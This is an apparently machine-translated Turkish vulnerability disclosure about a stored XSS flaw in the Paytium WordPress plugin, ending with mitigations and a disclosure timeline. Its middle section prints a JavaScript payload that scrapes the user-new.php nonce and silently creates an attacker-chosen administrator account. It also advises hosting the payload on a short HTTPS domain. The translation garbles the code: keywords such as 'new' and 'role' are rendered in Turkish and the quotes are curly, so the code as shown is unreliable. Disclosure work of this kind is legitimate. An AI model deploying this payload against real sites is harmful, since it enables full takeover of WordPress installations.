Savunmasız kod
(Ücretsiz) Paytium eklentisi bizim için mevcut olduğundan güvenlik açığı bulunan kodu tespit edebiliyoruz. Birkaç dakikalık aramanın ardından adında bir fonksiyon keşfediyoruz. get_field_data_html() Saklanan verileri yansıtıyor, HTML kaçışı uygulanmaz. Bu kod, WordPress arka ucu tarafından siparişlere genel bakışı göstermek için kullanılıyor.
Saklanan XSS’den tam WordPress devralımına
Önceden tanımlanmış bir kullanıcı adı ve şifreye sahip yeni bir yönetici kullanıcıyı sessizce ekleyebilirsek ne olur? İyi bir fikir!
WordPress, yöneticilerin şunları yapmasına olanak tanıyan bir form içeren özel bir sayfaya sahiptir: yeni kullanıcıları davet edin ve rollerini belirtin.
Bu form şu şekilde korunmaktadır: bir kez. Nonce, tarayıcı tarafından sunucuya gönderilen, gizli bir değere sahip gizli bir parametredir. Sunucular bunu belirli bir isteğin gerçekten orijinal formdan geldiğini doğrulamak için kullanır, aksi takdirde kötü amaçlı bir web sitesi mağdur adına form gönderimini zorlayabilir; CSRF saldırısı.
Sunucu bu gizli anı her forma ekler render ediyor. Harici kötü amaçlı web sitelerinin bu nonce değerini kurtarması imkansızdır; varsayılan olarak bir tarayıcı, bir etki alanının başka bir etki alanının HTML içeriğini görüntülemesine izin vermez, dolayısıyla bir Nonce olmadan formu gönderemeyiz.
Fakat javascript ile aynı alan adından sayfalar talep edebiliyoruz. Kurbanımızın etki alanında depolanmış bir XSS hatası olduğundan bu, talep edebileceğimiz anlamına gelir. user-new.php sayfasına gidin ve HTML yanıtını görüntüleyin. Bu sayede Nonce değerini çıkarabiliyor ve gönderebiliyoruz. user-new.php önceden tanımlanmış giriş bilgilerimizi içeren form.
Yük
var ajaxRequest = yeni XMLHttpRequest,
requestURL = “/wp-admin/user-new.php”,
nonceRegex = /ser” değer = “([^”]*?)”/G;
ajaxRequest.open(“GET”, requestURL, !1), ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),
nonce = nonceMatch[1],
params = “action=createuser&_wpnonce_create-user=” + tek seferlik + “&user_login=joax&[email protected]&pass1=helloworld123&pass2=helloworld123&role=yönetici”;
(ajaxRequest = new XMLHttpRequest).open(“POST”, requestURL, !0), ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”), ajaxRequest.send(params);
Yük 2 aşamadan oluşur:
- Talep et user-new.php sayfa ve nonce’yi çıkar normal bir ifade kullanarak değer.
- Gönder POST isteği -e user-new.php önceden tanımlı sayfamız giriş bilgileri ve hemen 1. adımdan itibaren
Kısa alan adları olmazsa olmazdır
Bu betiği doğrudan aradaki Ad alanına koyarak yükleyebilirsiniz. Etiketler. Ancak çoğu alanda maksimum karakter bulunur veya özel karakterlere izin vermeyin.
Benim tavsiyem yükü bir dosyaya koymaktır (örneğin 1.js) ve internette bir yerde kısa bir alanda barındırın. Ne kadar kısa olursa o kadar iyidir; formdaki karakter sınırlamalarından kaçınmak istiyoruz. Öyleyse kendine bir tane al 3 veya 4 karakter uzunluğunda alan adı ve yükü yükleyin!
Harici alana yüklediğinizde emin olun HTTPS’yi destekler Tarayıcılardan ‘güvenli olmayan içerik’ konusunda herhangi bir uyarı gelmesini önlemek için.
Nihai Yük
Çözüm
Paytium eklentisinin hatalı kullanıcı girişi doğrulaması nedeniyle şunları yapabildik: WordPress arka ucuna javascript enjekte edin. Bu javascript’i yükleyen herhangi bir WordPress yöneticisi, önceden tanımlanmış kimlik bilgilerimize sahip yeni bir yönetici kullanıcıyı otomatik olarak ekleyecektir. Bu, WordPress’in tamamen devralınmasına yol açar. Ayrıca şunları görüntüleyebiliyoruz Kimliği doğrulanmamış bir fatura URL’si aracılığıyla depolanan XSS verisi; kimlik avcıları için mükemmel.
Çözümler
1. WordPress’i destekler kullanıcı girişi doğrulaması kutunun dışında; https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data. Bu, kullanıcı girişinin kolayca işlenmesine ve yaygın HTML enjeksiyonlarından kaçınılmasına olanak tanır.
2. Ayrıca WordPress önemli eylemler yürütülmeden önce yöneticinin parolayı manuel olarak yazmasını gerektirmek. Yeni bir yönetici eklemenize veya bir eklenti yüklemenize izin verilmeden önce bir şifre istemi düşünün. Başka bir çözüm farklı olabilir erişim düzeyleriyeni siparişlerinizi görmek ister misiniz? Süper hakları olmayan, ancak siparişleri görüntülemeye yetecek kadar olan bir kullanıcıyla giriş yapın. Daha fazla bilgi için Roller ve Yetenekler’e bakın.
Ödüller
Hiçbiri
Zaman çizelgesi
31–07–19 İlk hatayı keşfetti
04–09–19 Bu yazıyı yazdım ve Paytium’u e-posta yoluyla bilgilendirdim
05–09–19 Paytium daha fazla ayrıntı istedi
06–09–19 Paytium bir eklenti güncellemesi yayınladı, güvenlik düzeltmesinden bahsedilmedi
07–09–19 Paytium bir eklenti güncellemesi yayınladı, güvenlik düzeltmesinden bahsedilmedi
28–09–19 Kimliği doğrulanmamış Saklanan XSS hatası keşfedildi, rapor güncellendi ve Paytium’a e-postayla gönderildi.
01–10–19 Paytium rapora yorumlarıyla yanıt verdi. Paytium bana bir güvenlik düzeltmesi hazırladıklarını ve bu hafta içinde durum hakkında beni bilgilendireceklerini bildirdi.
04–10–19 WordPress’teki Roller ve Yetenekler özelliği hakkında bir parça eklendi, kullanıcı ekleme ve eklenti yükleme gibi özel eylemler için bir uyarı ekranı/manuel giriş sunan bir çözüm eklendi.
07–10–19 Paytium bir düzeltme yayınladı ve müşterilerini e-posta yoluyla bilgilendirdi
12–05–20 Rapor yayınlandı